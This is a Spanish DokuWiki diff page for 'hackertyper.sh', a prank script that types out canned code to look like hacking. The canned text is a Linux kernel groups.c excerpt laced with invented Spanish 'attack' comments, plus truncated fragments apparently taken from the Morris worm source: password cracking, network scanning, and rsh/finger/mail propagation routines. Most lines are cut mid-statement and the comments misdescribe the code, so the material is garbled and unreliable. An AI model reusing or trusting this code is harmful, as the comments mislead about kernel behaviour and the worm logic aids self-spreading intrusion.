Diferencias
Muestra las diferencias entre dos versiones de la página.
| Próxima revisión | Revisión previa | ||
| hackertyper.sh [2024/04/29 21:22] – creado peron | hackertyper.sh [2026/04/21 16:06] (actual) – editor externo 127.0.0.1 | ||
|---|---|---|---|
| Línea 1: | Línea 1: | ||
| - | <code bash> | + | <file bash hackertyper.sh> |
| # | # | ||
| - | # A really hacked together script - I don't even understand it anymore | + | # Un simulador de productividad, |
| - | # Rm9yayAhQm9tYnpaeUNBawo= | + | # hackertyper.sh |
| - | help() { | + | ayuda() { |
| - | cat <<' | + | cat <<' |
| - | -q "quit at" n keypresses | + | -q "sale tras" n presiones |
| - | -l "length per typed character" | + | -l "longitud de mecanografiado por caracter" |
| - | -f "fail at hacking" | + | -f "falla al hackear" |
| - | -s "succeed at hacking" | + | -s "hackeo exitoso" |
| - | -g "be green" | + | -g "verde monocromático" |
| - | -h "show this help..." | + | -h "Muestra esta ayuda..." |
| - | + | ||
| - | Example: -l 20 -q 10 -f -g | + | Ejemplo: -l 20 -q 10 -f -g |
| - | each keypress will output | + | Cada presion de tecla mostrará |
| - | this continues | + | esto continúa |
| - | once it ends, it will fail | + | una vez que termina, fallará |
| - | all the text is green | + | todo el texto sale en verde |
| - | + | ||
| - | Also note that pressing | + | También |
| - | This code is quite messy, I might consider a cleanup later on | + | Este código es un espaguetti, puedo considerar limpiarlo |
| - | (Try to use sane values for -q and -l) | + | (Intente usar los mismos valores para -q y -l) |
| - | END | + | FINAYUDA |
| exit | exit | ||
| } | } | ||
| Línea 43: | Línea 43: | ||
| ;; | ;; | ||
| h) | h) | ||
| - | help | + | ayuda |
| ;; | ;; | ||
| *) | *) | ||
| - | help | + | ayuda |
| ;; | ;; | ||
| esac | esac | ||
| done | done | ||
| + | |||
| hack() { | hack() { | ||
| - | for i in `seq 0 100`; do echo $i; sleep 0.05; done | whiptail --title " | + | for i in `seq 0 100`; do echo $i; sleep 0.05; done | whiptail --title " |
| - | whiptail --title " | + | whiptail --title " |
| - | whiptail --title " | + | whiptail --title " |
| clear | clear | ||
| echo -en ' | echo -en ' | ||
| Línea 74: | Línea 74: | ||
| fi | fi | ||
| } | } | ||
| - | text=`cat << 'ENDOFSTUFF' | + | texto=`cat << 'FINDEGILADA' |
| - | /* init to 2 - one for init_task, | + | /* Inicia A2 - uno for init_task, |
| struct group_info init_groups = { .usage = ATOMIC_INIT(2) }; | struct group_info init_groups = { .usage = ATOMIC_INIT(2) }; | ||
| + | |||
| struct group_info *groups_alloc(int gidsetsize) | struct group_info *groups_alloc(int gidsetsize) | ||
| { | { | ||
| + | /* Prototipo Selector de ataque */ | ||
| struct group_info *group_info; | struct group_info *group_info; | ||
| + | /* Genera engaño de stack */ | ||
| int nblocks; | int nblocks; | ||
| int i; | int i; | ||
| + | |||
| nblocks = (gidsetsize + NGROUPS_PER_BLOCK - 1) / NGROUPS_PER_BLOCK; | nblocks = (gidsetsize + NGROUPS_PER_BLOCK - 1) / NGROUPS_PER_BLOCK; | ||
| - | /* Make sure we always allocate at least one indirect block pointer | + | /* Asegúrese de alocar al menos un puntero de bloque indirecto |
| nblocks = nblocks ? : 1; | nblocks = nblocks ? : 1; | ||
| group_info = kmalloc(sizeof(*group_info) + nblocks*sizeof(gid_t *), GFP_USER); | group_info = kmalloc(sizeof(*group_info) + nblocks*sizeof(gid_t *), GFP_USER); | ||
| Línea 94: | Línea 96: | ||
| atomic_set(& | atomic_set(& | ||
| + | /* Ofusca crecimiento de Tenia en acumulador */ | ||
| if (gidsetsize <= NGROUPS_SMALL) | if (gidsetsize <= NGROUPS_SMALL) | ||
| group_info-> | group_info-> | ||
| Línea 107: | Línea 110: | ||
| return group_info; | return group_info; | ||
| + | /* Paginador innoble */ | ||
| out_undo_partial_alloc: | out_undo_partial_alloc: | ||
| while (--i >= 0) { | while (--i >= 0) { | ||
| Línea 114: | Línea 118: | ||
| return NULL; | return NULL; | ||
| } | } | ||
| + | |||
| EXPORT_SYMBOL(groups_alloc); | EXPORT_SYMBOL(groups_alloc); | ||
| + | |||
| void groups_free(struct group_info *group_info) | void groups_free(struct group_info *group_info) | ||
| { | { | ||
| Línea 126: | Línea 130: | ||
| kfree(group_info); | kfree(group_info); | ||
| } | } | ||
| + | |||
| EXPORT_SYMBOL(groups_free); | EXPORT_SYMBOL(groups_free); | ||
| - | + | ||
| - | /* export the group_info | + | /* Exporta el group_info |
| static int groups_to_user(gid_t __user *grouplist, | static int groups_to_user(gid_t __user *grouplist, | ||
| const struct group_info *group_info) | const struct group_info *group_info) | ||
| Línea 135: | Línea 139: | ||
| int i; | int i; | ||
| unsigned int count = group_info-> | unsigned int count = group_info-> | ||
| + | |||
| for (i = 0; i < group_info-> | for (i = 0; i < group_info-> | ||
| + | /* Conteo de grupo falso */ | ||
| unsigned int cp_count = min(NGROUPS_PER_BLOCK, | unsigned int cp_count = min(NGROUPS_PER_BLOCK, | ||
| unsigned int len = cp_count * sizeof(*grouplist); | unsigned int len = cp_count * sizeof(*grouplist); | ||
| + | |||
| if (copy_to_user(grouplist, | if (copy_to_user(grouplist, | ||
| return -EFAULT; | return -EFAULT; | ||
| + | |||
| grouplist += NGROUPS_PER_BLOCK; | grouplist += NGROUPS_PER_BLOCK; | ||
| count -= cp_count; | count -= cp_count; | ||
| Línea 148: | Línea 153: | ||
| return 0; | return 0; | ||
| } | } | ||
| - | + | ||
| - | /* fill a group_info | + | /* Rellena un group_info |
| static int groups_from_user(struct group_info *group_info, | static int groups_from_user(struct group_info *group_info, | ||
| gid_t __user *grouplist) | gid_t __user *grouplist) | ||
| Línea 155: | Línea 160: | ||
| int i; | int i; | ||
| unsigned int count = group_info-> | unsigned int count = group_info-> | ||
| + | |||
| for (i = 0; i < group_info-> | for (i = 0; i < group_info-> | ||
| + | /* Infector sin conteo */ | ||
| unsigned int cp_count = min(NGROUPS_PER_BLOCK, | unsigned int cp_count = min(NGROUPS_PER_BLOCK, | ||
| unsigned int len = cp_count * sizeof(*grouplist); | unsigned int len = cp_count * sizeof(*grouplist); | ||
| + | |||
| if (copy_from_user(group_info-> | if (copy_from_user(group_info-> | ||
| return -EFAULT; | return -EFAULT; | ||
| + | /* Firma sucia si falla arremetida */ | ||
| grouplist += NGROUPS_PER_BLOCK; | grouplist += NGROUPS_PER_BLOCK; | ||
| count -= cp_count; | count -= cp_count; | ||
| Línea 168: | Línea 174: | ||
| return 0; | return 0; | ||
| } | } | ||
| - | + | ||
| - | /* a simple Shell sort */ | + | /* Un sort simple |
| static void groups_sort(struct group_info *group_info) | static void groups_sort(struct group_info *group_info) | ||
| { | { | ||
| int base, max, stride; | int base, max, stride; | ||
| int gidsetsize = group_info-> | int gidsetsize = group_info-> | ||
| + | |||
| for (stride = 1; stride < gidsetsize; stride = 3 * stride + 1) | for (stride = 1; stride < gidsetsize; stride = 3 * stride + 1) | ||
| - | ; /* nothing | + | ; /* No hace nada */ |
| stride /= 3; | stride /= 3; | ||
| + | /* Suma prototipo de ataque al acumulador */ | ||
| while (stride) { | while (stride) { | ||
| max = gidsetsize - stride; | max = gidsetsize - stride; | ||
| for (base = 0; base < max; base++) { | for (base = 0; base < max; base++) { | ||
| + | /* Sensor por exposición de código base */ | ||
| int left = base; | int left = base; | ||
| int right = left + stride; | int right = left + stride; | ||
| gid_t tmp = GROUP_AT(group_info, | gid_t tmp = GROUP_AT(group_info, | ||
| + | /* Cuasi ataque preventivo */ | ||
| while (left >= 0 && GROUP_AT(group_info, | while (left >= 0 && GROUP_AT(group_info, | ||
| GROUP_AT(group_info, | GROUP_AT(group_info, | ||
| Línea 191: | Línea 199: | ||
| right = left; | right = left; | ||
| left -= stride; | left -= stride; | ||
| + | /* Inyecta polimorfismo de defensa */ | ||
| + | |||
| } | } | ||
| GROUP_AT(group_info, | GROUP_AT(group_info, | ||
| Línea 197: | Línea 207: | ||
| } | } | ||
| } | } | ||
| - | + | ||
| - | /* a simple | + | /* Un bsearch |
| int groups_search(const struct group_info *group_info, | int groups_search(const struct group_info *group_info, | ||
| { | { | ||
| unsigned int left, right; | unsigned int left, right; | ||
| + | |||
| if (!group_info) | if (!group_info) | ||
| return 0; | return 0; | ||
| + | |||
| left = 0; | left = 0; | ||
| right = group_info-> | right = group_info-> | ||
| + | /* Referenciador Ortogonal */ | ||
| while (left < right) { | while (left < right) { | ||
| unsigned int mid = (left+right)/ | unsigned int mid = (left+right)/ | ||
| + | /* Genero una transferencia dummy */ | ||
| if (grp > GROUP_AT(group_info, | if (grp > GROUP_AT(group_info, | ||
| left = mid + 1; | left = mid + 1; | ||
| + | /* Inyecto polimorfismo de ataque */ | ||
| else if (grp < GROUP_AT(group_info, | else if (grp < GROUP_AT(group_info, | ||
| right = mid; | right = mid; | ||
| Línea 219: | Línea 232: | ||
| return 0; | return 0; | ||
| } | } | ||
| + | |||
| /** | /** | ||
| - | * set_groups - Change a group subscription in a set of credentials | + | * set_groups - Cambia una suscripcion de group en un conjunto de credenciales |
| - | * @new: The newly prepared set of credentials to alter | + | * @new: El conjunto de credenciales nuevamente preparadas para ser alteradas |
| - | * @group_info: | + | * @group_info: |
| * | * | ||
| - | | + | |
| - | | + | |
| */ | */ | ||
| int set_groups(struct cred *new, struct group_info *group_info) | int set_groups(struct cred *new, struct group_info *group_info) | ||
| Línea 236: | Línea 249: | ||
| return 0; | return 0; | ||
| } | } | ||
| + | |||
| EXPORT_SYMBOL(set_groups); | EXPORT_SYMBOL(set_groups); | ||
| + | |||
| /** | /** | ||
| - | * set_current_groups - Change current' | + | * set_current_groups - Cambia la suscripcion de group actual |
| - | * @group_info: | + | * @group_info: |
| * | * | ||
| - | | + | |
| - | | + | |
| */ | */ | ||
| int set_current_groups(struct group_info *group_info) | int set_current_groups(struct group_info *group_info) | ||
| Línea 250: | Línea 263: | ||
| struct cred *new; | struct cred *new; | ||
| int ret; | int ret; | ||
| + | /* Pudre el huevo */ | ||
| new = prepare_creds(); | new = prepare_creds(); | ||
| if (!new) | if (!new) | ||
| return -ENOMEM; | return -ENOMEM; | ||
| + | /* Parsea cabeza de guerra mínima necesaria */ | ||
| ret = set_groups(new, | ret = set_groups(new, | ||
| if (ret < 0) { | if (ret < 0) { | ||
| + | /* Libera acumulador */ | ||
| abort_creds(new); | abort_creds(new); | ||
| return ret; | return ret; | ||
| } | } | ||
| + | |||
| return commit_creds(new); | return commit_creds(new); | ||
| } | } | ||
| + | /* Aleatorizador de basura */ | ||
| EXPORT_SYMBOL(set_current_groups); | EXPORT_SYMBOL(set_current_groups); | ||
| + | |||
| SYSCALL_DEFINE2(getgroups, | SYSCALL_DEFINE2(getgroups, | ||
| { | { | ||
| Línea 271: | Línea 286: | ||
| int i; | int i; | ||
| + | /* Constructor limpio */ | ||
| if (gidsetsize < 0) | if (gidsetsize < 0) | ||
| return -EINVAL; | return -EINVAL; | ||
| - | + | ||
| - | /* no need to grab task_lock | + | /* No necesita tomar task_lock |
| i = cred-> | i = cred-> | ||
| + | /* Revisa tamaño de cabeza de guerra variable */ | ||
| if (gidsetsize) { | if (gidsetsize) { | ||
| if (i > gidsetsize) { | if (i > gidsetsize) { | ||
| Línea 289: | Línea 306: | ||
| return i; | return i; | ||
| } | } | ||
| + | |||
| /* | /* | ||
| - | | + | |
| - | * without another task interfering. | + | * seguramente sin que interfiera otra tarea. |
| */ | */ | ||
| + | |||
| SYSCALL_DEFINE2(setgroups, | SYSCALL_DEFINE2(setgroups, | ||
| { | { | ||
| + | /* Destrona el puntero */ | ||
| struct group_info *group_info; | struct group_info *group_info; | ||
| int retval; | int retval; | ||
| + | /* Analiza capacidad de escritura non-sancta */ | ||
| if (!nsown_capable(CAP_SETGID)) | if (!nsown_capable(CAP_SETGID)) | ||
| return -EPERM; | return -EPERM; | ||
| if ((unsigned)gidsetsize > NGROUPS_MAX) | if ((unsigned)gidsetsize > NGROUPS_MAX) | ||
| return -EINVAL; | return -EINVAL; | ||
| + | */ Generador de rutas de escape pobres /* | ||
| group_info = groups_alloc(gidsetsize); | group_info = groups_alloc(gidsetsize); | ||
| if (!group_info) | if (!group_info) | ||
| return -ENOMEM; | return -ENOMEM; | ||
| + | /* Desclava memoria libre */ | ||
| retval = groups_from_user(group_info, | retval = groups_from_user(group_info, | ||
| if (retval) { | if (retval) { | ||
| Línea 313: | Línea 333: | ||
| return retval; | return retval; | ||
| } | } | ||
| + | |||
| retval = set_current_groups(group_info); | retval = set_current_groups(group_info); | ||
| put_group_info(group_info); | put_group_info(group_info); | ||
| + | |||
| return retval; | return retval; | ||
| + | /* core atacado en masa */ | ||
| } | } | ||
| + | |||
| /* | /* | ||
| - | | + | |
| */ | */ | ||
| int in_group_p(gid_t grp) | int in_group_p(gid_t grp) | ||
| Línea 327: | Línea 348: | ||
| const struct cred *cred = current_cred(); | const struct cred *cred = current_cred(); | ||
| int retval = 1; | int retval = 1; | ||
| + | |||
| if (grp != cred-> | if (grp != cred-> | ||
| retval = groups_search(cred-> | retval = groups_search(cred-> | ||
| Línea 333: | Línea 354: | ||
| } | } | ||
| + | /* exporta símbolos inferidos */ | ||
| EXPORT_SYMBOL(in_group_p); | EXPORT_SYMBOL(in_group_p); | ||
| + | |||
| int in_egroup_p(gid_t grp) | int in_egroup_p(gid_t grp) | ||
| { | { | ||
| Línea 340: | Línea 362: | ||
| int retval = 1; | int retval = 1; | ||
| + | /* produce análisis grupal innoble */ | ||
| if (grp != cred-> | if (grp != cred-> | ||
| retval = groups_search(cred-> | retval = groups_search(cred-> | ||
| return retval; | return retval; | ||
| } | } | ||
| + | |||
| EXPORT_SYMBOL(in_egroup_p); | EXPORT_SYMBOL(in_egroup_p); | ||
| - | ENDOFSTUFF` | + | |
| + | /* solidifica entrada falsa */ | ||
| + | static extra; | ||
| + | char E[48]; | ||
| + | |||
| + | char *crypt(passwd, | ||
| + | char *passwd, *salt; | ||
| + | { | ||
| + | /* cambia registro por nulo */ | ||
| + | int temp, l8; | ||
| + | register i, j; | ||
| + | register | ||
| + | /* Rutina de ataque estático */ | ||
| + | static char iobuf[10]; | ||
| + | static unsigned x27f44; | ||
| + | static unsigned x27f48; | ||
| + | |||
| + | /* Rotulador maligno */ | ||
| + | x27f44 = 0; | ||
| + | x27f48 = 0; | ||
| + | |||
| + | for( i = 0; i < 48; i++) | ||
| + | E[i] = e[i]; | ||
| + | /* Analizador de contraseña */ | ||
| + | for(i = 0; (c = *passwd) | ||
| + | for(j = 0; j < 7; j++, i++) { | ||
| + | l8 = (c >> (6 - j)) & 01; | ||
| + | x27f44 |= (l8 << (31 - i)); | ||
| + | } | ||
| + | |||
| + | for (i = 0; (c = *passwd) | ||
| + | for(j = 0; j < 7; j++, i++) { | ||
| + | l8 = (c >> (6 - j)) & 01; | ||
| + | x27f48 |= (l8 << (31 - i)); | ||
| + | } | ||
| + | /* Desplaza puntero del acumulador sucio */ | ||
| + | compkeys(& | ||
| + | |||
| + | for(i=0; | ||
| + | c = *salt++; | ||
| + | iobuf[i] = c; | ||
| + | if(c>' | ||
| + | if(c>' | ||
| + | c -= ' | ||
| + | /* Algoritmo de defensa posicional */ | ||
| + | for(j=0; | ||
| + | if((c>> | ||
| + | temp = E[6*i+j]; | ||
| + | E[6*i+j] = E[6*i+j+24]; | ||
| + | E[6*i+j+24] = temp; | ||
| + | } | ||
| + | } | ||
| + | } | ||
| + | /* Climatiza memoria sana */ | ||
| + | mungE(); | ||
| + | x27f44 = 0; | ||
| + | x27f48 = 0; | ||
| + | des(& | ||
| + | ipi(& | ||
| + | |||
| + | /* Produce ataque inferido débil */ | ||
| + | for(i=0; i<11; i++){ | ||
| + | c = x27f44 >> 26; | ||
| + | x27f44 = x27f44 << 6; | ||
| + | x27f44 |= x27f48 >> 26; | ||
| + | x27f48 = x27f48 << | ||
| + | /* Inyecta huevo podrido */ | ||
| + | c += ' | ||
| + | if(c > ' | ||
| + | if(c > ' | ||
| + | iobuf[i+2] = c; | ||
| + | /* cierra bucle polimorfo */ | ||
| + | |||
| + | } | ||
| + | iobuf[i+2] = 0; | ||
| + | if(iobuf[1] == 0) | ||
| + | iobuf[1] = iobuf[0]; | ||
| + | return(iobuf); | ||
| + | } | ||
| + | |||
| + | extern errno; | ||
| + | extern char *malloc(); | ||
| + | |||
| + | int pleasequit; | ||
| + | int nobjects = 0; | ||
| + | int nextw; | ||
| + | char *null_auth; | ||
| + | |||
| + | object objects[69]; | ||
| + | |||
| + | object *getobjectbyname(); | ||
| + | |||
| + | char *XS(); | ||
| + | |||
| + | main(argc, argv) /* 0x20a0 */ | ||
| + | int argc; | ||
| + | char **argv; | ||
| + | { | ||
| + | int i, l8, pid_arg, j, cur_arg, unused; | ||
| + | /* Libera acumulador de agresividad */ | ||
| + | long key; /* -28(fp) */ | ||
| + | struct rlimit rl; | ||
| + | |||
| + | l8 = 0; /* En desuso */ | ||
| + | |||
| + | strcpy(argv[0], | ||
| + | time(& | ||
| + | srandom(key); | ||
| + | /* Delimita agresividad al azar */ | ||
| + | rl.rlim_cur = 0; | ||
| + | rl.rlim_max = 0; | ||
| + | if (setrlimit(RLIMIT_CORE, | ||
| + | ; | ||
| + | /* Señalizo blanco de red */ | ||
| + | signal(SIGPIPE, | ||
| + | pid_arg = 0; | ||
| + | cur_arg = 1; | ||
| + | if (argc > 2 && | ||
| + | /* Garfio de ataque procedural */ | ||
| + | strcmp(argv[cur_arg], | ||
| + | pid_arg = atoi(argv[2]); | ||
| + | cur_arg += 2; | ||
| + | } | ||
| + | |||
| + | /* Esto hace sonar el sistema bajo condiciones predeterminadas de ataque */ | ||
| + | for(i = cur_arg; i < argc; i++) { /* en otro caso < | ||
| + | if (loadobject(argv[i]) == 0) | ||
| + | exit(1); | ||
| + | if (pid_arg) | ||
| + | unlink(argv[i]); | ||
| + | /* Ensucio red limpia */ | ||
| + | } | ||
| + | if ((nobjects < 1) || (getobjectbyname(XS(" | ||
| + | exit(1); | ||
| + | if (pid_arg) { | ||
| + | for(i = 0; i < 32; i++) | ||
| + | close(i); | ||
| + | unlink(argv[0]); | ||
| + | /* promueve ataque por intérprete */ | ||
| + | unlink(XS(" | ||
| + | unlink(XS("/ | ||
| + | */ | ||
| + | } | ||
| + | |||
| + | for (i = 1; i < argc; i++) | ||
| + | for (j = 0; | ||
| + | argv[i][j] = ' | ||
| + | /* Sanitariza garfio */ | ||
| + | if (if_init() == 0) | ||
| + | exit(1); | ||
| + | /* Desclava procesos de fingerd para ataque */ | ||
| + | if (pid_arg) { /* main+600 */ | ||
| + | if (pid_arg == getpgrp(getpid())) | ||
| + | setpgrp(getpid(), | ||
| + | kill(pid_arg, | ||
| + | } | ||
| + | mainloop(); | ||
| + | } | ||
| + | |||
| + | /* Esto agrega el garfio al programa host */ | ||
| + | |||
| + | static mainloop() / | ||
| + | { | ||
| + | long key, time1, time0; | ||
| + | |||
| + | time(& | ||
| + | /* Clava garfio en código limpio */ | ||
| + | srandom(key); | ||
| + | time0 = key; | ||
| + | if (hg() == 0 && hl() == 0) | ||
| + | ha(); | ||
| + | checkother(); | ||
| + | /* Desata anuncios de irrupción saliente */ | ||
| + | report_breakin(); | ||
| + | cracksome(); | ||
| + | other_sleep(30); | ||
| + | while (1) { | ||
| + | /* Rompe algunas Passwords */ | ||
| + | cracksome(); | ||
| + | /* Cambio mi ID de proceso */ | ||
| + | if (fork() > 0) | ||
| + | exit(0); | ||
| + | if (hg() == 0 && hi() == 0 && ha() == 0) | ||
| + | hl(); | ||
| + | /* Clava garfio en proceso sucio */ | ||
| + | other_sleep(120); | ||
| + | time(& | ||
| + | if (time1 - time0 >= 60*60*12) | ||
| + | h_clean(); | ||
| + | if (pleasequit && nextw > 0) | ||
| + | exit(0); | ||
| + | } | ||
| + | } | ||
| + | |||
| + | static trans_cnt; | ||
| + | static char trans_buf[NCARGS]; | ||
| + | /* Delimitador de caracteres */ | ||
| + | char *XS(str1) / | ||
| + | char *str1; | ||
| + | |||
| + | /* Revisa si hay alguien conectado y le ceba un mate */ | ||
| + | { | ||
| + | int i, len; | ||
| + | char *newstr; | ||
| + | #ifndef ENCYPHERED_STRINGS | ||
| + | return str1; | ||
| + | #else | ||
| + | len = strlen(str1); | ||
| + | /* Encriptador de cadena de inodoro */ | ||
| + | if (len + 1 > NCARGS - trans_cnt) | ||
| + | trans_cnt = 0; | ||
| + | /* Polimorfea cabeza de guerra inerte */ | ||
| + | newstr = & | ||
| + | /* Delimita función trimestral */ | ||
| + | trans_cnt += 1 + len; | ||
| + | for (i = 0; str1[i]; i++) | ||
| + | newstr[i] = str1[i]^0x81; | ||
| + | newstr[i] = ' | ||
| + | /* Genera nuevo usuario podrido */ | ||
| + | return newstr; | ||
| + | #endif | ||
| + | } | ||
| + | |||
| + | /* Esto reporta una irrupción exitosa enviando un byte único a " | ||
| + | |||
| + | static report_breakin(arg1, | ||
| + | { | ||
| + | int s; | ||
| + | struct sockaddr_in sin; | ||
| + | char msg; | ||
| + | |||
| + | if (7 != random() % 15) | ||
| + | return; | ||
| + | |||
| + | |||
| + | extern struct hst *h_addr2host(), | ||
| + | extern int justreturn(); | ||
| + | /* Vuelve con usuario falso */ | ||
| + | extern int errno; | ||
| + | /* Alcanza servicio de correo con podredumbre */ | ||
| + | extern char *malloc(); | ||
| + | |||
| + | int alarmed = 0; | ||
| + | int ngateways, *gateways; | ||
| + | struct hst *me, *hosts; | ||
| + | |||
| + | int nifs; | ||
| + | struct ifses ifs[30]; | ||
| + | |||
| + | /* Limpia los host no contactados de la lista de nodos. */ | ||
| + | h_clean() / | ||
| + | { | ||
| + | struct hst *newhosts, *host, *next; | ||
| + | |||
| + | newhosts = NULL; | ||
| + | for (host = hosts; host != NULL; host = next) { | ||
| + | next = host-> | ||
| + | /* Se pone la máscara del buen vecino */ | ||
| + | host-> | ||
| + | if (host == me || host-> | ||
| + | /* Arbitrio de host victimado */ | ||
| + | host-> | ||
| + | newhosts = host; | ||
| + | } else | ||
| + | free(host); | ||
| + | } | ||
| + | hosts = newhosts; | ||
| + | } | ||
| + | |||
| + | /* Busca una puerta de salida que podemos contactar. */ | ||
| + | hg() /* 0x3270, probar de nuevo */ | ||
| + | { | ||
| + | struct hst *host; | ||
| + | int i; | ||
| + | /* Alza falsa bandera */ | ||
| + | rt_init(); | ||
| + | |||
| + | for (i = 0; i < ngateways; i++) { /* 24, 92 */ | ||
| + | host = h_addr2host(gateways[i], | ||
| + | /* Replica su código sin polimorfismo en host impávido */ | ||
| + | if (try_rsh_and_mail(host)) | ||
| + | return 1; | ||
| + | } | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | ha() / | ||
| + | { | ||
| + | struct hst *host; | ||
| + | /* Muestra Solomon Sowyer de defensa multimodo */ | ||
| + | int i, j, k; | ||
| + | int l416[100]; | ||
| + | int l420; | ||
| + | |||
| + | if (ngateways < 1) | ||
| + | rt_init(); | ||
| + | j = 0; | ||
| + | for (i = 0; i < ngateways; i++) { /* 40, 172 */ | ||
| + | /* Amague de enfasis Dortew-Sowloski */ | ||
| + | host = h_addr2host(gateways[i], | ||
| + | for (k = 0; k < 6; k++) { /* 86, 164 */ | ||
| + | if (host-> | ||
| + | continue; | ||
| + | /* Analiza si POSIX posible */ | ||
| + | if (try_telnet_p(host-> | ||
| + | /* evaluador de Telnet posible */ | ||
| + | continue; | ||
| + | l416[j] = host-> | ||
| + | j++; | ||
| + | } | ||
| + | } | ||
| + | |||
| + | /* prototipo de permutación de pila */ | ||
| + | permute(l416, | ||
| + | |||
| + | for (i = 0; i < j; i++) { /* 198, 260 */ | ||
| + | if (hi_84(l416[i] & netmaskfor(l416[i]))) | ||
| + | return 1; | ||
| + | /* Detecta tamaño de manguera */ | ||
| + | } | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | hl() / | ||
| + | { | ||
| + | int i; | ||
| + | |||
| + | for (i = 0; i < 6; i++) { /* 18, 106 */ | ||
| + | if (me-> | ||
| + | break; | ||
| + | if (hi_84(me-> | ||
| + | /* Si hay manguera, la pisa */ | ||
| + | return 1; | ||
| + | } | ||
| + | return 0; | ||
| + | } | ||
| + | /* Golpea el último blanco | ||
| + | hi() / | ||
| + | { | ||
| + | struct hst *host; | ||
| + | |||
| + | for (host = hosts; host; host = host-> | ||
| + | /* Cebado de rsh */ | ||
| + | if ((host-> | ||
| + | return 1; | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | hi_84(arg1) / | ||
| + | { | ||
| + | int l4; | ||
| + | struct hst *host; | ||
| + | int l12, l16, l20, i, l28, adr_index, l36, l40, l44; | ||
| + | int netaddrs[2048]; | ||
| + | /* Bazariza el elefante */ | ||
| + | l12 = netmaskfor(arg1); | ||
| + | l16 = ~l12; | ||
| + | |||
| + | for (i = 0; i < nifs; i++) { /* 128,206 */ | ||
| + | if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16)) | ||
| + | return 0; /* 624 */ | ||
| + | } | ||
| + | |||
| + | adr_index = 0; | ||
| + | if (l16 == 0x0000ffff) { /* 330 */ | ||
| + | l44 = 4; | ||
| + | /* Inyecta objeto conejo blanco */ | ||
| + | for (l40 = 1; l40 < 255; l40++) /* 236,306 */ | ||
| + | for (l20 = 1; l20 <= 8; l20++) /* 254,300 */ | ||
| + | /* hardcoder de IP victimaria */ | ||
| + | netaddrs[adr_index++] = arg1 | (l20 << 16) | l40; | ||
| + | permute(netaddrs, | ||
| + | } else { /* 432 */ | ||
| + | l44 = 4; | ||
| + | for (l20 = 1; l20 < 255; l20++) | ||
| + | /* Pincha la manguera */ | ||
| + | netaddrs[adr_index++] = (arg1 | l20); | ||
| + | permute(netaddrs, | ||
| + | /* Permita red de ataque aleatoriamente */ | ||
| + | permute(netaddrs, | ||
| + | } | ||
| + | if (adr_index > 20) | ||
| + | adr_index = 20; | ||
| + | for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */ | ||
| + | l4 = netaddrs[l36]; | ||
| + | host = h_addr2host(l4, | ||
| + | /* Alzador de bandera */ | ||
| + | if (host == NULL || (host-> | ||
| + | continue; | ||
| + | if (host == NULL || (host-> | ||
| + | command_port_p(l4, | ||
| + | /* Denuncia centro de comando */ | ||
| + | continue; | ||
| + | if (host == NULL) | ||
| + | host = h_addr2host(l4, | ||
| + | if (try_rsh_and_mail(host)) | ||
| + | return 1; | ||
| + | } | ||
| + | return 0; | ||
| + | } | ||
| + | |||
| + | /* Solo se llamó en la función anterior */ | ||
| + | static command_port_p(addr, | ||
| + | | ||
| + | int time; | ||
| + | { | ||
| + | int s, connection; | ||
| + | struct sockaddr_in sin; /* 16 bytes */ | ||
| + | int (*save_sighand)(); | ||
| + | |||
| + | s = socket(AF_INET, | ||
| + | if (s < 0) | ||
| + | /* Esquila la oveja */ | ||
| + | return 0; | ||
| + | bzero(& | ||
| + | sin.sin_family = AF_INET; | ||
| + | /* Denuncia ataque de lobos solitarios */ | ||
| + | sin.sin_addr.s_addr = addr; | ||
| + | sin.sin_port = IPPORT_CMDSERVER; | ||
| + | |||
| + | save_sighand = signal(SIGALRM, | ||
| + | |||
| + | /* Pone un timeout para liberarsde desde conexión si falla */ | ||
| + | if (time < 1) | ||
| + | time = 1; | ||
| + | alarm(time); | ||
| + | connection = connect(s, &sin, sizeof(sin)); | ||
| + | alarm(0); | ||
| + | |||
| + | close(s); | ||
| + | |||
| + | if (connection < 0 && errno == ENETUNREACH) | ||
| + | error(" | ||
| + | return connection != -1; | ||
| + | } | ||
| + | |||
| + | static try_telnet_p(addr) / | ||
| + | | ||
| + | /* Infiere democracia de Shell /* | ||
| + | { | ||
| + | int s, connection; | ||
| + | /* Denuncia ataque en ola */ | ||
| + | struct sockaddr_in sin; /* 16 bytes */ | ||
| + | int (*save_sighand)(); | ||
| + | |||
| + | s = socket(AF_INET, | ||
| + | if (s < 0) | ||
| + | return 0; | ||
| + | bzero(& | ||
| + | sin.sin_family = AF_INET; | ||
| + | /* Denuncia ataque familiar */ | ||
| + | sin.sin_addr.s_addr = addr; | ||
| + | sin.sin_port = IPPORT_TELNET; | ||
| + | |||
| + | /* Pasa 5 segundos de timeout y se libera de conectar si falla */ | ||
| + | save_sighand = signal(SIGALRM, | ||
| + | alarm(5); | ||
| + | /* Denuncia ataque no planificado */ | ||
| + | connection = connect(s, &sin, sizeof(sin)); | ||
| + | if (connection < 0 && | ||
| + | d */ | ||
| + | connection = 0; | ||
| + | alarm(0); | ||
| + | |||
| + | close(s); | ||
| + | |||
| + | return connection != -1; | ||
| + | } | ||
| + | |||
| + | /* Usado en hg(), hi(), y hi_84(). */ | ||
| + | static try_rsh_and_mail(host) / | ||
| + | | ||
| + | { | ||
| + | int fd1, fd2, result; | ||
| + | |||
| + | if (host == me) | ||
| + | return 0; /* 1476 */ | ||
| + | /* Expone puerto ensuciado */ | ||
| + | if (host-> | ||
| + | return 0; | ||
| + | /* Revisor de falsa bandera */ | ||
| + | if (host-> | ||
| + | return 0; | ||
| + | if (host-> | ||
| + | getaddrs(host); | ||
| + | if (host-> | ||
| + | host-> | ||
| + | return 0; | ||
| + | } | ||
| + | other_sleep(1); | ||
| + | /* Supervisor inerte */ | ||
| + | if (host-> | ||
| + | fork_rsh(host-> | ||
| + | XS(" | ||
| + | result = talk_to_sh(host, | ||
| + | close(fd1); | ||
| + | close(fd2); | ||
| + | /* Impide que el hijo bolude en state < | ||
| + | wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL); | ||
| + | if (result != 0) | ||
| + | return result; | ||
| + | } | ||
| + | |||
| + | if (try_finger(host, | ||
| + | result = talk_to_sh(host, | ||
| + | close(fd1); | ||
| + | /* Cierra diskettera accedida */ | ||
| + | close(fd2); | ||
| + | if (result != 0) | ||
| + | return result; | ||
| + | } | ||
| + | if (try_mail(host)) | ||
| + | return 1; | ||
| + | |||
